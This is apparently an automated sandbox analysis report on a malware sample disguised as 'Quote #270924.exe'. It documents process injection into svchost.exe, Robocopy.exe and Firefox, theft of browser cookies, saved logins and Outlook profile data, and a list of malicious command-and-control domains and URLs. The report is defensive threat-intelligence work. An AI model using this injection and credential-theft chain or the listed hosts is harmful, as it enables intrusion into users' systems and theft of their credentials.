Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0303B6C0 mov eax, dword ptr fs:[00000030h]	2_2_0303B6C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0303B6C0 mov eax, dword ptr fs:[00000030h]	2_2_0303B6C0

HIPS / PFW / Operating System Protection Evasion

Source: C:\Program Files (x86)\NHuuOIFvCiPFQibUqPiGsnnYLmnfQHCwDOqCxLWShlKuSgLUvc\HoiWfznxKU.exe	NtAllocateVirtualMemory: Direct from: 0x76EF48EC	Jump to behavior
Source: C:\Program Files (x86)\NHuuOIFvCiPFQibUqPiGsnnYLmnfQHCwDOqCxLWShlKuSgLUvc\HoiWfznxKU.exe	NtQueryAttributesFile: Direct from: 0x76EF2E6C	Jump to behavior
Source: C:\Program Files (x86)\NHuuOIFvCiPFQibUqPiGsnnYLmnfQHCwDOqCxLWShlKuSgLUvc\HoiWfznxKU.exe	NtQueryVolumeInformationFile: Direct from: 0x76EF2F2C	Jump to behavior
Source: C:\Program Files (x86)\NHuuOIFvCiPFQibUqPiGsnnYLmnfQHCwDOqCxLWShlKuSgLUvc\HoiWfznxKU.exe	NtQuerySystemInformation: Direct from: 0x76EF48CC	Jump to behavior
Source: C:\Program Files (x86)\NHuuOIFvCiPFQibUqPiGsnnYLmnfQHCwDOqCxLWShlKuSgLUvc\HoiWfznxKU.exe	NtOpenSection: Direct from: 0x76EF2E0C	Jump to behavior
Source: C:\Program Files (x86)\NHuuOIFvCiPFQibUqPiGsnnYLmnfQHCwDOqCxLWShlKuSgLUvc\HoiWfznxKU.exe	NtDeviceIoControlFile: Direct from: 0x76EF2AEC	Jump to behavior
Source: C:\Program Files (x86)\NHuuOIFvCiPFQibUqPiGsnnYLmnfQHCwDOqCxLWShlKuSgLUvc\HoiWfznxKU.exe	NtAllocateVirtualMemory: Direct from: 0x76EF2BEC	Jump to behavior
Source: C:\Program Files (x86)\NHuuOIFvCiPFQibUqPiGsnnYLmnfQHCwDOqCxLWShlKuSgLUvc\HoiWfznxKU.exe	NtQueryInformationToken: Direct from: 0x76EF2CAC	Jump to behavior
Source: C:\Program Files (x86)\NHuuOIFvCiPFQibUqPiGsnnYLmnfQHCwDOqCxLWShlKuSgLUvc\HoiWfznxKU.exe	NtCreateFile: Direct from: 0x76EF2FEC	Jump to behavior
Source: C:\Program Files (x86)\NHuuOIFvCiPFQibUqPiGsnnYLmnfQHCwDOqCxLWShlKuSgLUvc\HoiWfznxKU.exe	NtOpenFile: Direct from: 0x76EF2DCC	Jump to behavior
Source: C:\Program Files (x86)\NHuuOIFvCiPFQibUqPiGsnnYLmnfQHCwDOqCxLWShlKuSgLUvc\HoiWfznxKU.exe	NtTerminateThread: Direct from: 0x76EF2FCC	Jump to behavior
Source: C:\Program Files (x86)\NHuuOIFvCiPFQibUqPiGsnnYLmnfQHCwDOqCxLWShlKuSgLUvc\HoiWfznxKU.exe	NtOpenKeyEx: Direct from: 0x76EF2B9C	Jump to behavior
Source: C:\Program Files (x86)\NHuuOIFvCiPFQibUqPiGsnnYLmnfQHCwDOqCxLWShlKuSgLUvc\HoiWfznxKU.exe	NtSetInformationProcess: Direct from: 0x76EF2C5C	Jump to behavior
Source: C:\Program Files (x86)\NHuuOIFvCiPFQibUqPiGsnnYLmnfQHCwDOqCxLWShlKuSgLUvc\HoiWfznxKU.exe	NtProtectVirtualMemory: Direct from: 0x76EF2F9C	Jump to behavior
Source: C:\Program Files (x86)\NHuuOIFvCiPFQibUqPiGsnnYLmnfQHCwDOqCxLWShlKuSgLUvc\HoiWfznxKU.exe	NtWriteVirtualMemory: Direct from: 0x76EF2E3C	Jump to behavior
Source: C:\Program Files (x86)\NHuuOIFvCiPFQibUqPiGsnnYLmnfQHCwDOqCxLWShlKuSgLUvc\HoiWfznxKU.exe	NtNotifyChangeKey: Direct from: 0x76EF3C2C	Jump to behavior
Source: C:\Program Files (x86)\NHuuOIFvCiPFQibUqPiGsnnYLmnfQHCwDOqCxLWShlKuSgLUvc\HoiWfznxKU.exe	NtCreateMutant: Direct from: 0x76EF35CC	Jump to behavior
Source: C:\Program Files (x86)\NHuuOIFvCiPFQibUqPiGsnnYLmnfQHCwDOqCxLWShlKuSgLUvc\HoiWfznxKU.exe	NtResumeThread: Direct from: 0x76EF36AC	Jump to behavior
Source: C:\Program Files (x86)\NHuuOIFvCiPFQibUqPiGsnnYLmnfQHCwDOqCxLWShlKuSgLUvc\HoiWfznxKU.exe	NtMapViewOfSection: Direct from: 0x76EF2D1C	Jump to behavior
Source: C:\Program Files (x86)\NHuuOIFvCiPFQibUqPiGsnnYLmnfQHCwDOqCxLWShlKuSgLUvc\HoiWfznxKU.exe	NtProtectVirtualMemory: Direct from: 0x76EE7B2E	Jump to behavior
Source: C:\Program Files (x86)\NHuuOIFvCiPFQibUqPiGsnnYLmnfQHCwDOqCxLWShlKuSgLUvc\HoiWfznxKU.exe	NtAllocateVirtualMemory: Direct from: 0x76EF2BFC	Jump to behavior
Source: C:\Program Files (x86)\NHuuOIFvCiPFQibUqPiGsnnYLmnfQHCwDOqCxLWShlKuSgLUvc\HoiWfznxKU.exe	NtQuerySystemInformation: Direct from: 0x76EF2DFC	Jump to behavior
Source: C:\Program Files (x86)\NHuuOIFvCiPFQibUqPiGsnnYLmnfQHCwDOqCxLWShlKuSgLUvc\HoiWfznxKU.exe	NtReadFile: Direct from: 0x76EF2ADC	Jump to behavior
Source: C:\Program Files (x86)\NHuuOIFvCiPFQibUqPiGsnnYLmnfQHCwDOqCxLWShlKuSgLUvc\HoiWfznxKU.exe	NtDelayExecution: Direct from: 0x76EF2DDC	Jump to behavior
Source: C:\Program Files (x86)\NHuuOIFvCiPFQibUqPiGsnnYLmnfQHCwDOqCxLWShlKuSgLUvc\HoiWfznxKU.exe	NtQueryInformationProcess: Direct from: 0x76EF2C26	Jump to behavior
Source: C:\Program Files (x86)\NHuuOIFvCiPFQibUqPiGsnnYLmnfQHCwDOqCxLWShlKuSgLUvc\HoiWfznxKU.exe	NtResumeThread: Direct from: 0x76EF2FBC	Jump to behavior
Source: C:\Program Files (x86)\NHuuOIFvCiPFQibUqPiGsnnYLmnfQHCwDOqCxLWShlKuSgLUvc\HoiWfznxKU.exe	NtCreateUserProcess: Direct from: 0x76EF371C	Jump to behavior
Source: C:\Program Files (x86)\NHuuOIFvCiPFQibUqPiGsnnYLmnfQHCwDOqCxLWShlKuSgLUvc\HoiWfznxKU.exe	NtAllocateVirtualMemory: Direct from: 0x76EF3C9C	Jump to behavior
Source: C:\Program Files (x86)\NHuuOIFvCiPFQibUqPiGsnnYLmnfQHCwDOqCxLWShlKuSgLUvc\HoiWfznxKU.exe	NtWriteVirtualMemory: Direct from: 0x76EF490C	Jump to behavior
Source: C:\Program Files (x86)\NHuuOIFvCiPFQibUqPiGsnnYLmnfQHCwDOqCxLWShlKuSgLUvc\HoiWfznxKU.exe	NtSetInformationThread: Direct from: 0x76EE63F9	Jump to behavior
Source: C:\Program Files (x86)\NHuuOIFvCiPFQibUqPiGsnnYLmnfQHCwDOqCxLWShlKuSgLUvc\HoiWfznxKU.exe	NtClose: Direct from: 0x76EF2B6C
Source: C:\Program Files (x86)\NHuuOIFvCiPFQibUqPiGsnnYLmnfQHCwDOqCxLWShlKuSgLUvc\HoiWfznxKU.exe	NtSetInformationThread: Direct from: 0x76EF2B4C	Jump to behavior
Source: C:\Program Files (x86)\NHuuOIFvCiPFQibUqPiGsnnYLmnfQHCwDOqCxLWShlKuSgLUvc\HoiWfznxKU.exe	NtReadVirtualMemory: Direct from: 0x76EF2E8C	Jump to behavior
Source: C:\Program Files (x86)\NHuuOIFvCiPFQibUqPiGsnnYLmnfQHCwDOqCxLWShlKuSgLUvc\HoiWfznxKU.exe	NtCreateKey: Direct from: 0x76EF2C6C	Jump to behavior

Maps a DLL or memory area into another process

Source: C:\Users\user\Desktop\Quote #270924.exe	Section loaded: NULL target: C:\Windows\SysWOW64\svchost.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: NULL target: C:\Program Files (x86)\NHuuOIFvCiPFQibUqPiGsnnYLmnfQHCwDOqCxLWShlKuSgLUvc\HoiWfznxKU.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: NULL target: C:\Windows\SysWOW64\Robocopy.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\Robocopy.exe	Section loaded: NULL target: C:\Program Files (x86)\NHuuOIFvCiPFQibUqPiGsnnYLmnfQHCwDOqCxLWShlKuSgLUvc\HoiWfznxKU.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\Robocopy.exe	Section loaded: NULL target: C:\Program Files (x86)\NHuuOIFvCiPFQibUqPiGsnnYLmnfQHCwDOqCxLWShlKuSgLUvc\HoiWfznxKU.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\Robocopy.exe	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\Robocopy.exe	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: execute and read and write	Jump to behavior

Modifies the context of a thread in another process (thread injection)

Source: C:\Windows\SysWOW64\Robocopy.exe

Thread register set: target process: 7724

Queues an APC in another process (thread injection)

Source: C:\Windows\SysWOW64\Robocopy.exe

Thread APC queued: target process: C:\Program Files (x86)\NHuuOIFvCiPFQibUqPiGsnnYLmnfQHCwDOqCxLWShlKuSgLUvc\HoiWfznxKU.exe

Writes to foreign memory regions

Source: C:\Users\user\Desktop\Quote #270924.exe

Memory written: C:\Windows\SysWOW64\svchost.exe base: 3CA008

Source: C:\Users\user\Desktop\Quote #270924.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\Quote #270924.exe"	Jump to behavior
Source: C:\Program Files (x86)\NHuuOIFvCiPFQibUqPiGsnnYLmnfQHCwDOqCxLWShlKuSgLUvc\HoiWfznxKU.exe	Process created: C:\Windows\SysWOW64\Robocopy.exe "C:\Windows\SysWOW64\Robocopy.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\Robocopy.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"	Jump to behavior

Source: HoiWfznxKU.exe, 00000003.00000000.2197791325.0000000001581000.00000002.00000001.00040000.00000000.sdmp, HoiWfznxKU.exe, 00000003.00000002.3985732717.0000000001581000.00000002.00000001.00040000.00000000.sdmp, HoiWfznxKU.exe, 00000006.00000000.2344426666.0000000001061000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Program Manager
Source: HoiWfznxKU.exe, 00000003.00000000.2197791325.0000000001581000.00000002.00000001.00040000.00000000.sdmp, HoiWfznxKU.exe, 00000003.00000002.3985732717.0000000001581000.00000002.00000001.00040000.00000000.sdmp, HoiWfznxKU.exe, 00000006.00000000.2344426666.0000000001061000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: HoiWfznxKU.exe, 00000003.00000000.2197791325.0000000001581000.00000002.00000001.00040000.00000000.sdmp, HoiWfznxKU.exe, 00000003.00000002.3985732717.0000000001581000.00000002.00000001.00040000.00000000.sdmp, HoiWfznxKU.exe, 00000006.00000000.2344426666.0000000001061000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: HoiWfznxKU.exe, 00000003.00000000.2197791325.0000000001581000.00000002.00000001.00040000.00000000.sdmp, HoiWfznxKU.exe, 00000003.00000002.3985732717.0000000001581000.00000002.00000001.00040000.00000000.sdmp, HoiWfznxKU.exe, 00000006.00000000.2344426666.0000000001061000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock
Source: Quote #270924.exe	Binary or memory string: JDASCRWINUPRWINDOWNLWINUPLWINDOWNSHIFTUPSHIFTDOWNALTUPALTDOWNCTRLUPCTRLDOWNMOUSE_XBUTTON2MOUSE_XBUTTON1MOUSE_MBUTTONMOUSE_RBUTTONMOUSE_LBUTTONLAUNCH_APP2LAUNCH_APP1LAUNCH_MEDIALAUNCH_MAILMEDIA_PLAY_PAUSEMEDIA_STOPMEDIA_PREVMEDIA_NEXTVOLUME_UPVOLUME_DOWNVOLUME_MUTEBROWSER_HOMEBROWSER_FAVORTIESBROWSER_SEARCHBROWSER_STOPBROWSER_REFRESHBROWSER_FORWARDBROWSER_BACKNUMPADENTERSLEEPRSHIFTLSHIFTRALTLALTRCTRLLCTRLAPPSKEYNUMPADDIVNUMPADDOTNUMPADSUBNUMPADADDNUMPADMULTNUMPAD9NUMPAD8NUMPAD7NUMPAD6NUMPAD5NUMPAD4NUMPAD3NUMPAD2NUMPAD1NUMPAD0CAPSLOCKPAUSEBREAKNUMLOCKSCROLLLOCKRWINLWINPRINTSCREENUPTABSPACERIGHTPGUPPGDNLEFTINSERTINSHOMEF12F11F10F9F8F7F6F5F4F3F2F1ESCAPEESCENTERENDDOWNDELETEDELBSBACKSPACEALTONOFF0%d%dShell_TrayWndExitScript Pausedblankinfoquestionstopwarning

Stealing of Sensitive Information

Tries to harvest and steal browser information (history, passwords, etc)

Source: Yara match	File source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.3984885805.0000000000800000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2272902332.0000000000C00000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2272128880.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.3985113849.0000000002AE0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.3986045977.0000000002F20000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2275425308.0000000003350000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.3986013036.0000000002C50000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

Source: C:\Windows\SysWOW64\Robocopy.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\Robocopy.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\Robocopy.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\SysWOW64\Robocopy.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\Robocopy.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\Robocopy.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local State	Jump to behavior
Source: C:\Windows\SysWOW64\Robocopy.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Local State	Jump to behavior
Source: C:\Windows\SysWOW64\Robocopy.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\SysWOW64\Robocopy.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\

Remote Access Functionality

Source: Yara match	File source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.3984885805.0000000000800000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2272902332.0000000000C00000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2272128880.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.3985113849.0000000002AE0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.3986045977.0000000002F20000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2275425308.0000000003350000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.3986013036.0000000002C50000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 DLL Side-Loading	412 Process Injection	2 Virtualization/Sandbox Evasion	1 OS Credential Dumping	121 Security Software Discovery	Remote Services	1 Email Collection	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 Abuse Elevation Control Mechanism	412 Process Injection	LSASS Memory	2 Virtualization/Sandbox Evasion	Remote Desktop Protocol	1 Archive Collected Data	3 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	Security Account Manager	2 Process Discovery	SMB/Windows Admin Shares	1 Data from Local System	4 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Abuse Elevation Control Mechanism	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	4 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	3 Obfuscated Files or Information	LSA Secrets	2 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	12 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
Quote #270924.exe	37%	ReversingLabs	Win32.Trojan.Generic
Quote #270924.exe	100%	Avira	HEUR/AGEN.1321671
Quote #270924.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
030003302.xyz	65.21.196.90	true	true	unknown
www.martaschrimpf.info	208.91.197.27	true	true	unknown
www.nojamaica.net	160.251.148.20	true	true	unknown
www.b5x7vk.agency	172.67.165.25	true	true	unknown
www.tomtox.top	162.0.238.43	true	true	unknown
tracy.club	3.33.130.190	true	true	unknown
searchgpt.homes	3.33.130.190	true	true	unknown
natroredirect.natrocdn.com	85.159.66.93	true	true	unknown
www.alphaaistore.com	208.91.197.39	true	true	unknown
2q63f.top	38.47.233.19	true	true	unknown
www.48vlu.shop	unknown	unknown	true	unknown
www.2q63f.top	unknown	unknown	true	unknown
www.030003302.xyz	unknown	unknown	true	unknown
www.popin.space	unknown	unknown	true	unknown
www.searchgpt.homes	unknown	unknown	true	unknown
www.tracy.club	unknown	unknown	true	unknown
www.sppsuperplast.online	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Reputation
http://www.tracy.club/e55r/?6RGD=r8eHwnMpb2dxK&Ah=Zzgqh8Lsa2kOmONOeD/+wB3QPxQKiLO67pxSC7hPMpOG1Z1VfhXWq1/e6lRyRcxlhH3VBh1kivLC4EoU4HrmQnEQVHiNTiKoH2rx3XIqvsrry8gzD7/bBD8mRjNwheBxYg==	true	unknown
http://www.searchgpt.homes/974s/?Ah=woBqQkVhEnZr0PORhZ6z2TjABxOeyQlLpumkFgr+omNv0XEbVjbEhcV/qAVpymWGpDThRtO2eu+z9gp0JATUVQjZP0Y2t77DZFNVy7Otm7ne66vNCWn1tABYRqLOiyRBkA==&6RGD=r8eHwnMpb2dxK	true	unknown
http://www.martaschrimpf.info/7kkb/?6RGD=r8eHwnMpb2dxK&Ah=Vuf7L1aATO5bukV8eQdUIEmIaPgQ1yOpdgGCLe1WZLTuWrNT4xutTpWyFskV9eTAAXQRhMy7Zgc6S7zaREH9Qt7yJDZ+mejpqMKnoLgUtbmjvcVg7/Biou/HjIkaZAov/Q==	true	unknown
http://www.alphaaistore.com/xf5b/?Ah=bUc8Ed0aZESOAy+KJaIejJlAhDqRJymtCfRMAnUAQR11I0sOX+AQaEFDTlraWU4+rT7gLfO5Dt9FKcAEmJO6tRh3wQ1OL/3vPyqK0hsKckbG/SsYmEPJIzY3hoX+M0Wr3w==&6RGD=r8eHwnMpb2dxK	true	unknown
http://www.searchgpt.homes/974s/	true	unknown
http://www.2q63f.top/mkti/	true	unknown
http://www.martaschrimpf.info/7kkb/	true	unknown
http://www.nojamaica.net/bie8/?Ah=MA/0DFY0DiyH2olo7m8hVrrP5UH/jhcgcmWioqAK+793cplJM4qg3DyTQ66FMurZmF9Te+JpNl4zVYtM50IcS4zemXuWAdJhdKdflRI3BWRfqiAf3s5RU6wyOr9MBb+x+g==&6RGD=r8eHwnMpb2dxK	true	unknown
http://www.alphaaistore.com/xf5b/	true	unknown
http://www.b5x7vk.agency/f66t/?Ah=wMNxngytVvT+xiDvhZKVBLBZglmuZQUCx/WcIyOXqUp4vIwezETUsTI6SXRinkgbo4oPfyScfq3TTLYR3fLN41mF5bem5ZFkurSKCCFsELulDfuy7v5fTUVM4J27kpDPZg==&6RGD=r8eHwnMpb2dxK	true	unknown
http://www.030003302.xyz/1nuz/?Ah=39evZXa6m7baCAiDcr0ch6V4fD09WsXkaMbScS7vY88jTdTJUv9E9AetrBPXqBlycVnLEijqhZPiEuH/pw4Oq8ZNp7wpFj1U/P2B+qNM5mXkMr/9uw3rZ9uOJdcOYzpfEQ==&6RGD=r8eHwnMpb2dxK	true	unknown
http://www.2q63f.top/mkti/?6RGD=r8eHwnMpb2dxK&Ah=jnThCjOJiNX3HI/1X6ra8iqRT8LvO5Bl0cjrkRPRR4aUtJ5UnZH8goi0lUnBvvC66wXnOPoFvnQ+LE8o+1Q4j9xZYpeOMfjH2lF0fJzOXlNgjT3mfY10J4nKlD3uClfrXg==	true	unknown
http://www.nojamaica.net/bie8/	true	unknown
http://www.b5x7vk.agency/f66t/	true	unknown
http://www.tomtox.top/3nd4/	true	unknown
http://www.tracy.club/e55r/	true	unknown
http://www.tomtox.top/3nd4/?Ah=wX8jjEADFIUNbB1fuwn27lCA5Ee2RiJ4qVOVM3qHbtn5VxkeI5MaAkn7o3WZs+Yr7x4eULr6m9MYlnr0WXfs3GrmtSbeGOpl3yeERPUVozEPpEyzLyJ+XoeluijW2G1r0A==&6RGD=r8eHwnMpb2dxK	true	unknown
http://www.sppsuperplast.online/zmf1/	true	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	Robocopy.exe, 00000004.00000002.3989125037.00000000079CE000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://dts.gnpge.com	HoiWfznxKU.exe, 00000006.00000002.3986193651.0000000003F3A000.00000004.00000001.00040000.00000000.sdmp	false		unknown
https://duckduckgo.com/ac/?q=	Robocopy.exe, 00000004.00000002.3989125037.00000000079CE000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://cdn.consentmanager.net	Robocopy.exe, 00000004.00000002.3987313418.000000000631A000.00000004.10000000.00040000.00000000.sdmp, Robocopy.exe, 00000004.00000002.3987313418.0000000005B40000.00000004.10000000.00040000.00000000.sdmp, HoiWfznxKU.exe, 00000006.00000002.3986193651.0000000003760000.00000004.00000001.00040000.00000000.sdmp, HoiWfznxKU.exe, 00000006.00000002.3986193651.0000000003F3A000.00000004.00000001.00040000.00000000.sdmp	false		unknown
http://i2.cdn-image.com/__media__/fonts/montserrat-bold/montserrat-bold.woff2	Robocopy.exe, 00000004.00000002.3987313418.000000000631A000.00000004.10000000.00040000.00000000.sdmp, Robocopy.exe, 00000004.00000002.3988995247.00000000076E0000.00000004.00000800.00020000.00000000.sdmp, Robocopy.exe, 00000004.00000002.3987313418.0000000005B40000.00000004.10000000.00040000.00000000.sdmp, HoiWfznxKU.exe, 00000006.00000002.3986193651.0000000003760000.00000004.00000001.00040000.00000000.sdmp, HoiWfznxKU.exe, 00000006.00000002.3986193651.0000000003F3A000.00000004.00000001.00040000.00000000.sdmp	false		unknown
http://www.Alphaaistore.com	Robocopy.exe, 00000004.00000002.3987313418.000000000631A000.00000004.10000000.00040000.00000000.sdmp, HoiWfznxKU.exe, 00000006.00000002.3986193651.0000000003F3A000.00000004.00000001.00040000.00000000.sdmp	false		unknown
http://i2.cdn-image.com/__media__/pics/468/netsol-favicon-2020.jpg	Robocopy.exe, 00000004.00000002.3988995247.00000000076E0000.00000004.00000800.00020000.00000000.sdmp, Robocopy.exe, 00000004.00000002.3987313418.0000000005B40000.00000004.10000000.00040000.00000000.sdmp, HoiWfznxKU.exe, 00000006.00000002.3986193651.0000000003760000.00000004.00000001.00040000.00000000.sdmp	false		unknown
http://www.alphaaistore.com/Church_Video.cfm?fp=ptQ1PhmefSIPL%2BuLjwFIjR1UQknnb2Bgv3CJh%2BHmStYCNq%2	Robocopy.exe, 00000004.00000002.3987313418.000000000631A000.00000004.10000000.00040000.00000000.sdmp, HoiWfznxKU.exe, 00000006.00000002.3986193651.0000000003F3A000.00000004.00000001.00040000.00000000.sdmp	false		unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	Robocopy.exe, 00000004.00000002.3989125037.00000000079CE000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://i2.cdn-image.com/__media__/pics/28903/search.png)	Robocopy.exe, 00000004.00000002.3987313418.000000000631A000.00000004.10000000.00040000.00000000.sdmp, Robocopy.exe, 00000004.00000002.3988995247.00000000076E0000.00000004.00000800.00020000.00000000.sdmp, Robocopy.exe, 00000004.00000002.3987313418.0000000005B40000.00000004.10000000.00040000.00000000.sdmp, HoiWfznxKU.exe, 00000006.00000002.3986193651.0000000003760000.00000004.00000001.00040000.00000000.sdmp, HoiWfznxKU.exe, 00000006.00000002.3986193651.0000000003F3A000.00000004.00000001.00040000.00000000.sdmp	false		unknown
http://i2.cdn-image.com/__media__/fonts/montserrat-regular/montserrat-regular.woff2	Robocopy.exe, 00000004.00000002.3987313418.000000000631A000.00000004.10000000.00040000.00000000.sdmp, Robocopy.exe, 00000004.00000002.3988995247.00000000076E0000.00000004.00000800.00020000.00000000.sdmp, Robocopy.exe, 00000004.00000002.3987313418.0000000005B40000.00000004.10000000.00040000.00000000.sdmp, HoiWfznxKU.exe, 00000006.00000002.3986193651.0000000003760000.00000004.00000001.00040000.00000000.sdmp, HoiWfznxKU.exe, 00000006.00000002.3986193651.0000000003F3A000.00000004.00000001.00040000.00000000.sdmp	false		unknown
http://www.martaschrimpf.info/Matt_Schrimpf.cfm?fp=pO0JpCU5Mh6f5g1arwsF3FAaMtZCoz%2F4No65eqcRoFM4S68	Robocopy.exe, 00000004.00000002.3988995247.00000000076E0000.00000004.00000800.00020000.00000000.sdmp, Robocopy.exe, 00000004.00000002.3987313418.0000000005B40000.00000004.10000000.00040000.00000000.sdmp, HoiWfznxKU.exe, 00000006.00000002.3986193651.0000000003760000.00000004.00000001.00040000.00000000.sdmp	false		unknown
http://i2.cdn-image.com/__media__/fonts/montserrat-bold/montserrat-bold.otf	Robocopy.exe, 00000004.00000002.3987313418.000000000631A000.00000004.10000000.00040000.00000000.sdmp, Robocopy.exe, 00000004.00000002.3988995247.00000000076E0000.00000004.00000800.00020000.00000000.sdmp, Robocopy.exe, 00000004.00000002.3987313418.0000000005B40000.00000004.10000000.00040000.00000000.sdmp, HoiWfznxKU.exe, 00000006.00000002.3986193651.0000000003760000.00000004.00000001.00040000.00000000.sdmp, HoiWfznxKU.exe, 00000006.00000002.3986193651.0000000003F3A000.00000004.00000001.00040000.00000000.sdmp	false		unknown
http://www.alphaaistore.com	HoiWfznxKU.exe, 00000006.00000002.3987877558.0000000004E9E000.00000040.80000000.00040000.00000000.sdmp	false		unknown
